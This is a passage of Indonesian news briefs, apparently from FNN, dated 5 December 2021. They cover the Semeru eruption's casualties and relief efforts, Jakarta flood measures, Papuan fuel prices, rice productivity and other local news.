klaim lah. Instrumen musik yang dimainkan orang-orang Talang Mamak tak ada yang asal China atau India. CABE tidak bermaksud dengan tulisan ini untuk mengimbau pemerintah agar urusin mereka, wong kita aja kaga diurusin, adu untung kaga diperesin pake PCR. CABE mengetuk pintu hati kita sekalIan, terutama saya yang empunya diri selaku hambaNya yang dhaif, bahwa nun di pedalaman sejak masa Andunisi telah berdiam saudara-saudara kita sebangsa. Berdoalah untuk keselamatan mereka. Wa ba'duHu. ") Budayawan

Anies Instruksikan OPD Evaluasi Pekerjaan Kontraktor Sumur Resapan

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menginstruksikan pimpinan organisasi perangkat daerah (OPD) terkait mengevaluasi pekerjaan para kontraktor sumur resapan guna memastikan pengerjaannya sesuai standar. "Kami instruksikan kepada pimpinan OPD terkait, seperti Dinas Sumber Daya Air (SDA) untuk secepatnya mengevaluasi pekerjaan para kontraktor yang membuat dan memperbaiki sumur resapan," kata Anies Baswedan dalam keterangan tertulis di Jakarta, Ahad, 5 Desember 2021. Anies menginstruksikan agar pekerjaan kontraktor tersebut diawasi secara ketat untuk memastikan pengerjaannya sesuai standar, sehingga dapat berfungsi optimal dan tidak membahayakan orang lain. Menurut Anies, setiap kontraktor yang mengerjakan sumur resapan perlu menginformasikan secara transparan kepada publik agar publik mengetahuinya dan ikut mengawasi pembangunan sumur resaoan yang sedang dikerjakan maupun yang sudah selesai. "Poinnya adalah agar sumur resapan berfungsi dengan optimal dalam mengatasi genangan air banjir, serta tidak membahayakan masyarakat umum pengguna jalan," ujar dia, sebagaimana dikutip dari Antara. Anies juga mengingatkan agar OPD terkait mengidentifikasi masalah sehingga kemudian dapat mengambil solusi tepat atas masalah tersebut. Anies juga mengingatkan jajarannya agar menegur kontraktor untuk menyelesaikan permasalahan yang muncul sesuai dengan prosedur, sekaligus standar waktu penuntasan permasalahan tersebut. "Kami akan bertindak tegas jika terjadi permasalahan yakni pekerjaan kontraktor yang menyimpang," katanya. Anies mengingatkan pimpinan OPD terkait, memanggil kontraktor yang mengerjakan pembuatan dan perbaikan sumur resapan dan diberikan pesan tegas agar pekerjaannya sesuai standar dan batas waktu. Kepala Dinas SDA Provinsi DKI Jakarta, Yusmada Faizal, menambahkan, pihaknya segera menjalankan instruksi dari Gubernur DKI untuk menyelesaikan permasalahan yang timbul dalam pembuatan sumur resapan. Menurut Yusmada, pihaknya telah mengevaluasi pekerjaan pembuatan dan perbaikan sumur resapan."Kami juga terus berkoordinasi dengan kontraktor terkait," katanya. Menurut dia, Pemprov DKI Jakarta membangun dua jenis sumur resapan, yaitu sumur resapan dangkal dan sumur resapan dalam. "Sumur resapan dangkal berfungsi mengalirkan genangan air di permukaan tanah ke sumur resapan, sedangkan sumur resapan dalam berfungsi menambah cadangan air tanah," katanya, Pemprov DKI Jakarta akan membangun sebanyak 1.150.242 unit sumur serapan dangkal dan 100 lokasi sumur resapan dalam di wilayah DKI sepanjang tahun 2021. Yusmada menuturkan, pembangunan sumur serapan menjadi solusi untuk mengantisipasi banjir di sejumlah titik yang rutin terdampak, sekaligus menciptakan lapangan kerja. Pemprov DKI Jakarta hingga 9 November 2021, telah membangun sumur resapan sebanyak 16.035 titik dengan daya tampung 31.498 m3. (MD).

Korban Erupsi Gunung Semeru 14 Orang Meninggal Dunia

Jakarta, FNN - Jumlah korban jiwa akibat erupsi Gunung Semeru kini mencapai 14 orang meninggal dunia. Sedangkan korban luka, baik berat maupun ringan menjadi 56 orang. "Per pukul 17.30 WIB ini jumlah korban meninggal dunia terdata hingga saat ini berjumlah 14 orang," kata Pelaksana tugas Kepala Pusat Data, Informasi dan Komunikasi Kebencanaan Badan Nasional Penanggulangan Bencana (Pusdatinkom BNPB), Abdul Muhari dalam konferensi pers virtual yang dipantau dari Jakarta, Ahad, 5 Desember 2021 malam. Jumlah tersebut mengalami penambahan satu orang dari data yang telah diumumkan BNPB pada Ahad pukul 12.30 WIB. Sementara korban luka berat di RSUD Haryoto berjumlah delapan orang , RSUD Pasirian 16 orang, RS Bhayangkaran tiga orang, Puskesmas Penanggal terdapat delapan orang, sehongga total korban luka berat 35 orang. Untuk korban luka ringan 21 orang. "Angka tersebut juga berkurang dari rilis yang kami keluarkan tadi siang (Ahad) sejumlah 69 orang. Artinya, angka 56 orang itu merupakah hasil informasi langsung dari Kepala Badan Nasional Penanggulangan Bencana, Suharyanto yang saat ini sedang berada di lapangan," ucapnya, sebagaimana dikuti[ dari Antara. Data BNPB menyebutkan, jumlah penduduk yang terdampak, baik akibat awan panas dan abu vulkanik, adalah 5.205 jiwa. Dari angka tersebut, 1.300 orang berada di pengungsian. Dari jumlah tersebut, ada sembilan jiwa yang masih dalam proses pendataan status korban. (MD).

Polisi Selidiki Kenaikan Harga Pertalite Rp 50.000/Liter Di Jayawijaya

Wamena, FNN - Personel Kepolisian Resor Jayawijaya, Provinsi Papua, baru menyelidiki kenaikan bahan bakar minyak (BBM) jenis Pertalite di tingkat pengecer yang mencapai Rp 50.000 per liter dan sudah berlangsung satu minggu lebih. Kepala Polres Jayawijaya, AKBP Muh Safei, saat di Wamena, Minggu, mengatakan, jika polisi mendapati warga menjual dengan harga lebih dari Rp 18.000/liter maka pengecer itu pasti ditindak. "Saat ini anggota reserse sedang melakukan penyelidikan, bagi yang menaikan harga dari enceran yang sebenarnya yang Rp 18.000/liter ada yang menjual sampai Rp 50.000/liter, yakin dan percaya dia ditutup," katanya. Rata-rata pengecer BBM yang menjual Pertalite dengan harga Rp 20.000, Rp 25.000, Rp 35.000, hingga Rp 50.000 per liter ini tidak memiliki izin. "Yang eceran tidak punya izin, dari segi kemanusiaan bolehlah dia melakukan penjualan enceran sepanjang tidak merugikan orang banyak. Artinya dia mencari hidup, kemudian harganya tidak terlalu jauh dari standar yang ada di APMS," katanya. Sebelumnya Bupati Jayawijaya, Jhon Richard Banua, mengakui BBM di tingkat pengecer masih ada namun disembunyikan karena pemilik tidak mau mengikuti harga yang ditetapkan pemerintah yaitu Rp 15.000 per liter untuk Pertalite. "Semua pengecer BBM subsidi ini menyimpan BBM mereka untuk bisa menaikkan harga BBM di Wamena karena tidak mau mengikuti aturan pemerintah," katanya Warga Jayawijaya, Deni Alvin Tonjauw, mengakui mendapati Pertalite dijual dengan harga Rp 50.000 per liter. "Saya beli di depan Pasar Potikelek itu dua liter Rp 100.000," katanya. Berdasarkan pantauan ANTARA, pengecer pertalite di pusat kota tiba-tiba sepi tidak terlihat setelah mendengar pemerintah mengharuskan mereka menjual dengan harga Rp 15.000 per liter. Sebelum ada kebijakan pemerintah tentang harga pengecer ini, jumlah pengecer mencapai 2.000 lebih dan sangat mudah ditemui di sepanjang jalan di pusat ibu kota kabupaten. Hingga Ahad, 5 Desember 2021 warga Jayawijaya masih kesulitan mendapatkan Pertalite sebab pengecer masih menyembunyikan jualan mereka. (MD).

Perkecil Kesenjangan Produktivitas Beras Seluruh Indonesia

Jakarta, FNN - Peneliti Center for Indonesian Policy Studies (CIPS) Indra Setiawan menginginkan adanya kebijakan yang efektif guna memperkecil kesenjangan produktivitas beras di seluruh Indonesia, terutama antara lahan pertanian di Jawa dan luar Jawa. “Produksi beras memang mengalami peningkatan. Tetapi, sekitar 53 persen produksi beras nasional berada di Jawa Timur, Jawa Tengah, dan Jawa Barat. Masih terdapat kesenjangan yang besar antara produksi di Jawa dan Luar Jawa yang produksinya rata-rata di bawah satu juta ton," kata Indra Setiawan dalam siaran pers di Jakarta, Ahad, 5 Desember 2021. Ia mengungkapkan, Produktivitas beras di luar Jawa memang lebih kecil yaitu 4,58 ton per hektare, dibanding dengan di Jawa yang mencapai 5,64 ton per hektare, padahal 50 persen lahan pertanian padi berada di luar Jawa. Selain itu, ujar dia terdapat tren penurunan luas lahan pertanian dari tahun ke tahun. BPS memperkirakan penurunan luas lahan sebanyak 141,95 ribu hektare atau turun sebesar 1,14 persen. Penurunan tersebut, laniutnya, terjadi seiring konversi lahan akibat aktivitas pembangunan. Hal ini dinilai semakin memperlihatkan urgensi peningkatan produktivitas melalui optimalisasi lahan. Indra menyatakan, intensifikasi lahan juga merupakan salah satu praktik pertanian yang berkelanjutan yang dapat memastikan bahwa produksi tanaman pangan tidak mengancam serta merusak lingkungan. "Peningkatan produktivitas padi melalui intensifikasi juga diperlukan untuk menjawab kebutuhan pangan penduduk Indonesia yang jumlahnya semakin meningkat. Intensifikasi juga merupakan jawaban atas tantangan keterbatasan lahan," paparnya, sebagaimana dikutip dari Antara. Ia berpendapat, rendahnya produktivitas padi nasional dapat berdampak pada harga beras di Indonesia yang masih lebih mahal dari harga internasional. Menurut PIHPS, harga rata-rata beras Indonesia pada 2020 di pedagang besar sebesar Rp 10.473/kg. Sementara Bank Dunia mencatat harga beras di tingkat internasional sebesar Rp 6.886/kg. Hal ini, masih menurut dia, salah satunya karena biaya produksi beras di Indonesia lebih tinggi dari negara lain, seperti Vietnam yang biaya produksinya tiga kali lebih rendah. Biaya produksi dinilai bisa ditekan dengan penggunaan teknologi pertanian yang efisien. "Intensifikasi yang mendorong penggunaan teknologi pertanian tentu akan menjadi kesempatan untuk menurunkan biaya produksi. Penggunaan teknologi pertanian akan meningkatkan efisiensi baik sebelum maupun setelah panen," ungkap Indra. Untuk meratakan produktivitas, penelitian CIPS merekomendasikan perbaikan akses irigasi, penggunaan pupuk kimia yang berimbang, dan penggunaan teknologi pertanian modern untuk memaksimalkan potensi lahan. Selain itu, lanjutnya, penggunaan bibit unggul juga perlu didorong dan intensifikasi lahan juga hendaknya dilakukan di wilayah yang tingkat produktivitasnya lebih rendah daripada wilayah lain di Indonesia. BPS belum lama ini memperkirakan produksi beras pada 2021 sebesar 55,27 juta ton gabah kering giling (GKG), atau naik 1,14 persen dari tahun 2020. Peningkatan produksi ini harus diikuti dengan metode produksi yang efisien untuk menurunkan kehilangan padi pasca panen. (MD).

BPBD Infokan Peringatan Banjir Saat Status PA Pasar Ikan Siaga Dua

Jakarta, FNN - Badan Penanggulangan Bencana Daerah (BPBD) DKI Jakarta menginformasikan peringatan dan antisipasi banjir pada sembilan wilayah terdampak saat Pintu Air (PA) Pasar Ikan berstatus Siaga dua dengan ketinggian muka air mencapai 230 centimeter pada pukul 11.00 WIB. BPBD DKI menginformasikan kondisi permukaan air berdasarkan informasi dari situs resmi posko banjir Dinas Sumber Daya Air Provinsi DKI Jakarta. "Antisipasi wilayah yang kemungkinan akan terdampak: Kamal Muara, Kapuk Mutiara, Penjaringan, Pluit, Ancol, Kamal, Marunda, Cilincing, dan Kalibaru," tulis BPBD dalam akun resmi Twitter @BPBDJakarta di Jakarta, Ahad, 5 Desember 2021. Dikutip dari Antara, berdasarkan kronologi, kenaikan tinggi muka air PA Pasar Ikan masih berada pada level 190 cm atau Waspada/Siaga 3 pukul 05.00 WIB. Lalu pukul 06.00 WIB, tinggi muka air meningkat menjadi 198 centimeter. Selang satu jam kemudian, ketinggian muka air sudah mencapai 222 centimeter dengan status Siaga 2. Saat ini, BPBD DKI juga menginformasikan kondisi cuaca di PA Pasar Ikan dalam kondisi mendung. Upaya yang dilakukan BPBD DKI sejauh ini, yaitu penyebaran informasi melalui media sosial, serta pemberitahuan peringatan kepada camat dan lurah. BPBD DKI Jakarta juga mengeluarkan peringatan potensi hujan sedang hingga lebat yang disertai dengan petir dan angin kencang di seluruh wilayah DKI Jakarta dan Kepulauan Seribu. (MD).

Pemerintah Kota Kediri Beri Bantuan Penyandang Disabilitas

Kediri, Jatim, FNN - Pemerintah Kota Kediri, Jawa Timur, memberikan bantuan bagi penyandang disabilitas di kota ini, sehingga mereka bisa berdaya, terlebih lagi di masa pandemi Covid-19. Wali Kota Kediri Abdullah Abu Bakar mengatakan saat ini sudah tidak ada batasan lagi antara yang penyandang disabilitas dengan yang tidak. Salah satunya dalam berusaha. Para penyandang disabilitas ini sangat tinggi termasuk dalam menjalankan usahanya. "Wirausaha ini salah satu pilihan yang sangat mudah. Bu Yuyun misalnya, yang bergerak di fashioon, juga ada bisnis kain perca yang dibuat masker, konektor masker. Kalau dulu tidak terlihat, sekarang sudah tidak ada pembatasnya," kata Wali Kota Kediri di Kediri, Ahad, 5 Desember 2021. Sementara itu, Kepala Dinas Sosial Triyono Kutut Purwanto menjelaskan untuk bantuan yang diberikan kepada penyadang disabilitas beragam, tergantung kebutuhannya. Misalnya, ada permintaan kursi roda, kaki palsu, alat pendengar dan sebagainya. Terlebih lagi di masa pandemi Covid-19. Menurut dia, semua pengajuan bantuan yang diminta difabel akan direalisasikan. Mereka sebelumnya juga akan disurvei oleh petugas Dinas Sosial Kota Kediri untuk memastikan kebutuhan penyandang disabilitas itu. Namun, bagi yang ODK (orang dengan kecacatan berat) selain mendapatkan bantuan untuk memudahkan beraktivitas misalnya kursi roda, pemerintah kota juga memberikan bantuan biaya hidup sebesar Rp 500 ribu per bulan. Dana itu turun setiap tiga bulan sekali ke rekening orang tua. "Sewaktu-waktu, kalau hari ini butuh, misalnya dia ada kecelakan butuh kursi roda, akan direalisasikan. Tidak ada batasan untuk membantu disabilitas. Kalau yang ODK berat selain kursi roda ada bantuan biaya hidup per bulannya Rp 500 ribu," katanya, sebagaimana dikutip dari Antara. Sementara itu, terkait dengan anggaran untuk disabilitas di Kota Kediri, Triyono Kutut mengatakan anggarannya sekitar Rp 1 miliar. Anggaran itu bisa untuk beragam kebutuhan bagi disabilitas. Secara jumlah penyandang disabilitas di Kota Kediri ada lebih dari 650 orang dengan berbagai ketunaan. Sedangkan yang ODK berat, tahun 2021 ini yang mendapatkan bantuan adalah 34 orang, demikian Triyono Kutut Purwanto. (MD).

Pakar: China Kembali Normal Jika Fatalitas COVID-19 Tinggal 0,1 Persen

Beijing, FNN - Pakar sistem pernapasan Prof Zhong Nanshan mengajukan dua prasyarat bagi China jika ingin kembali normal dari pandemi COVID-19. Pakar terkemuka asal China itu menyebutkan dua syarat tersebut, yakni jika tingkat fatalitas COVID-19 di China turun hingga menjadi 0,1 persen dan angka basis reproduksinya (R0) antara 1 hingga 1,5. Sampai saat ini, semua warga China harus divaksin agar terwujud kekebalan komunitas, pencegahan, pengendalian, dan perawatan juga harus ditingkatkan, demikian Zhong berbicara pada KTT Vaksin di Shenzhen, Provinsi Guangdong, Sabtu (4/12). Ia mengusulkan tingkat fatalitas saat ini yang masih 1 persen harus diturunkan lagi hingga tersisa 0,1 persen. Demikian pula dengan R0 atau tingkat penularan positif juga harus 1 hingga 1,5. Sampai saat ini sebanyak 1,125 miliar warga China atau sekitar 79,76 persen populasi sudah mendapatkan vaksin dosis lengkap. "Tingkat fatalitas varian Delta di Guangzhou dan Nanjing pada tahun ini yang sudah nol itu terkait dengan tingginya tingkat vaksinasi," ujarnya. Oleh sebab itu, dia mendorong pemerintah China terus meningkatkan vaksinasi, khususnya untuk lansia. Di China, 96.312 juta orang telah menerima vaksin penguat (booster). Mengutip data Kementerian Kesehatan China, Zhong mengatakan bahwa vaksin dosis ketiga bisa meningkatkan efek terlindungi dari gejala COVID-19 dari 56 persen menjadi 80 persen dan mengurangi kemungkinan pasien COVID-19 dirawat di rumah sakit dari 84 persen menjadi 88 persen. Selain itu, data laboratorium juga menunjukkan bahwa efek perlindungan diri dari kombinasi vaksin inaktif dan vaksin sub-unit protein, kombinasi vaksin inaktif dan vaksina mRNA, dan kombinasi vaksin inaktif dan vaksin adenovirus sangat bagus. "Hal ini menunjukkan bahwa vaksin dosis ketiga sangat efektif," ujarnya. Terkait dengan merebaknya varian Omicron, Zhong menanggapi, "Kami tidak takut dengan Omicron karena sudah diterapkan kebijakan nol kasus dan kebijakan yang ketat dalam pencegahan dan pengendalian." Oleh sebab itu, pakar SARS tersebut menyimpulkan jalan terbaik pemberantasan COVID-19 adalah pencegahan. (mth)

Bulog Peduli Gelontorkan Bantuan Pangan Untuk Korban Letusan Semeru

Jakarta, FNN - Bulog Peduli bergerak cepat menggelontorkan bantuan pangan kepada warga yang menjadi korban bencana letusan Gunung Semeru melalui dapur umum di bawah koordinasi Badan Nasional Penanggulangan Bencana di Sumber Wuluh, Kabupaten Lumajang Jawa Timur. Penyerahan bantuan diberikan oleh Pimpinan Wilayah Bulog Jawa Timur Ermin Tora untuk tahap pertama kepada warga terdampak, dengan berfokus pada kebutuhan pangan berupa beras, mi instan, air mineral dan sarden kaleng. “Bulog berusaha meringankan beban saudara kita yang terdampak bencana letusan Gunung Semeru ini dengan langsung bergerak cepat menyalurkan bantuan tanggap darurat dan percepatan pemulihan bencana dengan berkoordinasi melalui dapur umum”, kata Ermin Tora dalam keterangan tertulis yang diterima di Jakarta, Ahad, 5 Desember 2021. Untuk bantuan tahap kedua, Bulog Peduli juga menginventarisir tambahan kebutuhan-kebutuhan lain bagi warga terdampak melalui koordinasi dengan posko-posko evakuasi. “Tim Bulog Peduli juga sedang mendata kebutuhan lain selain kebutuhan pangan yang dibutuhkan oleh warga terdampak, seperti selimut, masker dan kebutuhan lainnya”, kata Ermin Tora, sebagaimana dikutip dari Antara. Selanjutnya Bulog juga memastikan bahwa kegiatan operasional di cabang dan gudang-gudang Bulog sekitar tetap berjalan normal guna memenuhi kebutuhan masyarakat agar kondisi perekonomian dapat segera pulih dan masyarakat dapat beraktivitas normal. “Alhamdulillah aset dan infrastruktur Bulog di sekitar bencana tidak terdampak secara signifikan, sehingga kegiatan pelayanan publik kami tetap berjalan seperti biasa tanpa gangguan," kata Ermin Tora. (MD).

MUI Ajak Masyarakat Galang Dana Bantu Warga Terdampak Erupsi Semeru

Jakarta, FNN - Majelis Ulama Indonesia (MUI) mengajak masyarakat untuk memperkuat solidaritas dengan menggalang dana demi membantu warga terdampak erupsi Gunung Semeru di Kabupaten Lumajang, Jawa Timur. "Segenap anak bangsa harus terus memperkuat solidaritas dan soliditas untuk menggalang bantuan bagi saudara kita yang terdampak erupsi Gunung Semeru," ujar Sekretaris Jenderal MUI Amirsyah Tambunan dalam keterangan tertulis yang diterima di Jakarta, Minggu. Amirsyah mengatakan dari setiap musibah yang terjadi terselip makna yang terkandung di dalamnya. Ia pun mengingatkan umat untuk terus berikhtiar, berdoa, dan bertawakal kepada Allah agar musibah ini segera berakhir. "Setiap musibah ada hikmahnya di antaranya para ilmuwan harus mampu menangkap pesan Allah dalam setiap peristiwa," kata dia. Sebelumnya, Kepala Badan Nasional Penanggulangan Bencana (BNPB) Letnan Jenderal TNI Suharyanto meminta segera dibentuk posko terpadu tanggap darurat bencana untuk memastikan konsolidasi data, koordinasi giat pencarian, evakuasi dan penanganan pengungsi erupsi Semeru berjalan baik. Berdasarkan keterangan BNPB yang diterima di Jakarta pada Minggu, Kepala BNPB Suharyanto dalam rapat koordinasi bersama Gubernur Jawa Timur Khofifah Indar Parawansa di Kabupaten Lumajang pada hari ini meminta kementerian, lembaga dan pemerintah daerah efektif berkolaborasi melakukan penanganan darurat. Untuk itu, dia menyampaikan perlu segera dibentuk posko terpadu tanggap darurat bencana untuk memastikan penanganan erupsi Gunung Semeru, baik terkait data, koordinasi giat pencarian evakuasi dan penanganan pengungsi dapat berjalan dengan baik. BNPB sendiri akan menurunkan tiga helikopter yang nantinya dapat dimanfaatkan pemerintah daerah untuk melakukan penanganan darurat. Sementara untuk alat berat akan didukung dari Batalyon 527. "Dukungan-dukungan ini agar dimanfaatkan sebaik-sebaiknya untuk kepentingan rakyat," kata dia. (mth)

Jaringan Komunikasi di Sekitar Semeru Sedang Dipulihkan

Jakarta, FNN - Kementerian Komunikasi dan Informatika menyatakan operator telekomunikasi saat ini sedang berupaya memulihkan jaringan di sekitar lokasi Gunung Semeru, Jawa Timur. "Saat ini tim sedang mencari cadangan jaringan yang tersedia dan mencari jalur alternatif yang terdekat dengan jalur existing untuk pemulihan jaringan telekomunikasi bagi masyarakat di sekitar lokasi terdampak erupsi Gunung Semeru," kata juru bicara Kominfo, Dedy Permadi, kepada ANTARA, Minggu. Letusan Gunung Semeru mengakibatkan gangguan pasokan arus listrik dan layanan telekomunikasi di sejumlah lokasi. Infrastruktur telekomunikasi milik operator seluler juga terdampak erupsi. "Proses pemulihan sedang dilakukan, namun terkendala kondisi wilayah yang masih berbahaya," kata Dedy. Menurut data terbaru dari Kominfo, beberapa lokasi menara base transceiver station (BTS) milik Telkomsel, Indosat, XL dan Smartfren terganggu karena pemadaman listrik oleh PLN. Operator seluler tersebut sedang melakukan pemulihan dan mitigasi seperti menyediakan cadangan genset. Operator telekomunikasi antara lain Telkom, Fiberstar dan Biznet juga mengalami gangguan akibat erupsi Gunung Semeru. Laporan yang diterima Kementerian Kominfo dari ketiga operator tersebut, erupsi memutus jaringan tulang punggung (backbone) kabel telekomunikasi. Tim mereka saat ini sedang berupaya memulihkan jaringan, namun, mengalami kendala karena status di beberapa lokasi masih bahaya dan belum bisa dilakukan kegiatan apa pun. Gunung Semeru di Kabupaten Lumajang, Jawa Timur, meletus pada Sabtu (4/12) sore, meluapkan awan panas dan abu vulkanik. Pusat Vulkanologi dan Mitigasi Bencana Geologi, Kementerian Energi dan Sumber Daya Mineral ada dua kali guguran lava pijar setelah letusan Gunung Semeru. Status Gunung Semeru per 4 Desember adalah waspada. Badan Nasional Penanggulangan Bencana melaporkan hingga pagi ini, letusan Gunung Semeru menelan 13 korban jiwa dan puluhan orang lainnya terluka. Saat ini sekitar 902 warga mengungsi di sekolah dan balai desa. (mth)

Aji Santoso Akui Persebaya Bermain Baik Saat Kalahkan Barito Putera

Jakarta, FNN - Pelatih Persebaya Surabaya Aji Santoso mengakui anak asuhnya bermain dengan baik ketika mereka mengalahkan Barito Putera dengan skor 2-0 pada pekan ke-15 Liga 1 di Stadion Manahan, Solo, Jawa Tengah, Sabtu. Dikutip laman resmi Liga Indonesia, Minggu, Aji Santoso bersyukur Persebaya Surabaya bisa kembali meraih tiga poin usai bermain imbang melawan Persik Kediri pada pekan sebelumnya. "Ahamdulillah, ini tadi selain menurut saya bermain sesuai dengan taktikal yang sudah saya sampaikan ke pemain dan bermain sangat baik," ujar Aji. "Kami kembali mendapatkan poin penuh lagi setelah sebelumnya melawan Persik Kediri kami kehilangan 2 poin," sambungnya. Mantan pemain tim nasional Indonesia itu menjelaskan selain meraih kemenangan, Persebaya juga mencatatkan nirbobol di empat laga secara beruntun. Menurut Aji, lini pertahanan Persebaya telah menjalankan instruksi darinya dengan baik dan mereka tidak melakukan pelanggaran pada sepertiga lini pertahanan sendiri yang menjadi kunci rapatnya lini belakang Bajul Ijo. "Ya, saya sampaikan kepada pemain, ada compact defense, tidak buru-buru dalam mengambil pelanggaran. Kita lihat sangat jarang sekali ada pelanggaran di sepertiga pertahanan kami," ungkap Aji. Persebaya Surabaya mengalahkan Barito Putera dengan skor 2-0 melalui gol dari Marselino Ferdinan dan Taisei Marukawa. Kemenangan ini membuat Persebaya Surabaya kini berada di peringkat kelima klasemen sementara Liga 1 dengan raihan 27 poin dari 15 laga. Selanjutnya, Persebaya Surabaya dijadwalkan akan menghadapi pertandingan besar melawan Persib Bandung di Stadion Maguwoharjo, Sleman, Yogyakarta, Rabu (8/12) pukul 20.45 WIB. (mth)

Wamenkes: Sistem Kesehatan Indonesia Siap Bertransformasi

Denpasar, FNN - Wakil Menteri Kesehatan dr Dante Saksono Harbuwono mengatakan Indonesia siap melakukan transformasi sistem kesehatan agar mampu mengatasi berbagai masalah kesehatan yang sulit untuk diprediksi. "Ini adalah momen penting bagi Indonesia untuk mereformasi sektor kesehatan karena tidak pernah ada waktu yang lebih tepat untuk transformasi kesehatan selain momen ini (health business gathering-red)," kata dr Dante dalam keterangan tertulisnya yang diterima ANTARA di Denpasar, Minggu. Dante saat menutup Health Business Gathering pada Sabtu (4/12) menyampaikan bahwa kejadian berbagai masalah kesehatan, seperti pandemi COVID-19, itu sulit untuk diprediksi. "Masalah tersebut datang pada saat Indonesia belum siap. Pada saat itu Pemerintah Indonesia harus impor berbagai macam kebutuhan untuk menanggulangi pandemi COVID-19, seperti sarung tangan medis, masker medis dan alat kesehatan lainnya," ujarnya. Tidak hanya itu, COVID-19 telah menjadikan kesehatan sebagai prioritas nomor satu di semua sektor. Menurut dia, pemerintah menyadari bahwa pandemi COVID-19 memunculkan kebutuhan untuk memperkuat ketahanan layanan kesehatan. Oleh karena itu, ujar dia, dibutuhkan kemandirian farmasi dan alat kesehatan melalui transformasi sistem kesehatan, mencakup ketahanan kefarmasian dan alat kesehatan, dan mengembangkan teknologi, digitalisasi serta bioteknologi. "Sistem kesehatan Indonesia siap bertransformasi. Kami memiliki enam pilar dan salah satu pilar adalah ketahanan farmasi, alat kesehatan dan bioteknologi, dan itu sudah kami bahas dalam forum (Health Business Gathering) ini," ucapnya. Menurut dr Dante, hal tersebut dapat diupayakan dengan memperkuat perusahaan farmasi dan perusahaan alat kesehatan serta pengembangan teknologi, digitalisasi dan bioteknologi. "Ini tentang roadmap ketahanan farmasi dan alat kesehatan. kita harus memiliki vaksin kita sendiri, kita harus memproduksi obat kita sendiri, dan kita harus menggunakan perusahaan fitofarmaka kita sendiri," ujar. Dante. Strategi yang dilakukan antara lain, untuk vaksin, pemerintah Indonesia akan memproduksinya sebanyak 14 jenis antigen untuk program vaksinasi yang akan digunakan tahun depan. Sementara terkait obat, pemerintah akan memproduksi enam dari 10 bahan baku obat terbesar yang paling sering digunakan. Selanjutnya untuk fitofarmaka, dr Dante mengatakan pemerintah akan mencoba untuk meningkatkan produksi dalam negeri 16 dari 19 perangkat medis yang paling sering digunakan di Indonesia. Melalui Health Business Gathering 2021 upaya kemandirian farmasi dan alat kesehatan telah dilakukan, di antaranya dengan penandatanganan perjanjian kerja sama dan investasi. Health Business Gathering diikuti 415 orang peserta, 345 peserta domestik dan 70 peserta internasional dari 15 negara dan 228 peserta daring. Pertemuan itu menghasilkan 48 dokumen yang terdiri dari 12 penandatanganan MoU dan 36 proyek. Dalam pertemuan itu juga menghasilkan 181 permintaan pertemuan, dan 20 permohonan difasilitasi pertemuan antara "government to government, government to business, dan business to business". "Kita harus memperkuat kemitraan publik-swasta, tidak hanya untuk mengatasi pandemi, tetapi juga untuk meningkatkan kesehatan masyarakat secara luas. Kita juga harus memberdayakan kapasitas penelitian untuk pengembangan dan produksi produk farmasi dan alat kesehatan dalam negeri," ucapnya. (mth)

Ketua BAZNAS Ajak Lembaga Amil Bantu Korban Erupsi Semeru

Jakarta, FNN - Ketua Badan Amil Zakat Nasional Noor Achmad mengajak seluruh Lembaga Amil Zakat (LAZ) di tingkat nasional maupun daerah untuk berada dalam satu barisan membantu korban erupsi Gunung Semeru di Jawa Timur. "Kepada seluruh jajaran BAZNAS dan LAZ mari kita bantu saudara-saudara kita yang menjadi korban atas meletusnya Gunung Semeru dengan cara yang terkoordinasi di bawah arahan BAZNAS pusat melalui BAZNAS Tanggap Bencana (BTB)," ujar Noor dalam keterangan tertulis yang diterima dari Jakarta, Ahad, 5 Desember 2021. Noor mengatakan respons cepat dalam membantu proses evakuasi dan pemulihan korban terdampak letusan Semeru, perlu dilakukan. Dia mencontohkan responscepat yang dilakukan oleh BAZNAS dan LAZ pada saat penanganan Banjir Bandang di Kota Batu, Jawa Timur, dan Kabupaten Garut, Jawa Barat. Noor mengajak hal serupa kembali dilakukan untuk membantu korban erupsi Gunung Semeru di Lumajang dan sekitarnya. Melalui koordinasi yang baik, kata dia, diharapkan bantuan akan tepat sasaran dan sesuai kebutuhan serta lebih cepat diterima oleh masyarakat yang membutuhkan. "Jadi mari kita lakukan sebaik yang kita lakukan di Kota Batu dan Garut atau bahkan lebih baik lagi," ujarnya, sebagaimana dikutip dari Antara. Sebelumnya, tim medis dari BAZNAS Kabupaten Lumajang dan sejumlah relawan telah bergabung bersama Tim Baznas Tanggap Bencana (BTB). Mereka bergerak menuju lokasi bencana erupsi Gunung Semeru di Kabupaten Lumajang, Jawa Timur. "Tim segera bergabung dengan tim medis dari semua stakeholder untuk bergerak menuju wilayah terdampak bencana erupsi. BAZNAS mengajak masyarakat untuk dapat berpartisipasi membantu para korban erupsi Gunung Semeru di Lumajang dan sekitarnya," kata Noor. (MD).

Blue Helmet Jawa Timur Gerak Cepat Membantu Warga Akibat Letusan Gunung Semeru

Lumajang, FNN - Partai Gelombang Rakyat (Gelora) melalui organisasi sayapnya, Blue Helmet terjun langsung ke lokasi bencana erupsi Gunung Semeru di Lumajang , Jawa Timur pada Sabtu (4/12/2021) sore. Blue Helmet memberikan bantuan logistik dan layanan medis, serta melakukan kegiatan SAR dengan berkolaborasi bersama BASARNAS. "Saat ini Blue Helmet sedang melakukan konsolidasi internal dan membangun kolaborasi dengan BASARNAS, serta relawan-relawan yang terlibat pada penanganan bencana Gunung Meletus di Lumajang, Jawa Timur," kata Sulfiadi Barmawi, Komandan Nasional Blue Helmet Indonesia dalam keterangannya, Ahad (5/11/2021). Menurut dia, konsolidasi internal seluruh wilayah Indonesia ini bertujuan memaksimalkan internal resource Blue Helmet guna membantu masyarakat yang tertimpa musibah melalui pos komando utama yang telah dibentuk. Oleh karena itu, diharapkan partisipasi semua pihak agar penanganan ini bisa bersinergi dalam menangani masalah ini. "Kolaborasi dengan BASARNAS telah dilakukan oleh Blue Helmet Pasuruan dan hari ini akan melakukan operasi SAR bersama," ujarnya. Semangat kolaborasi Blue Helmet ini akan terus dijaga hingga penangan bencana di Lumajang berakhir. "Dimasa tanggap darurat bencana ini, Blue Helmet melalui pos komando, melakukan kegiatan operasi SAR bersama BASARNAS dan memberikan layanan medis, serta logistik sesuai kebutuhan penyintas di lapangan," jelasnya. Sementara itu, Ketua DPW Partai Gelora Jawa Timur (Jatim) Muhammad Sirot mengatakan, Blue Helmet Lumajang telah bergerak cepat dua jam membantu korban erupsi Semeru dua jam paska letusan. "Alhamdulillah, gerak cepat Blue Helmet Lumajang patut diajungi Jempol selang 2 jam setelah letusan gunung semeru. Pasukan helm biru 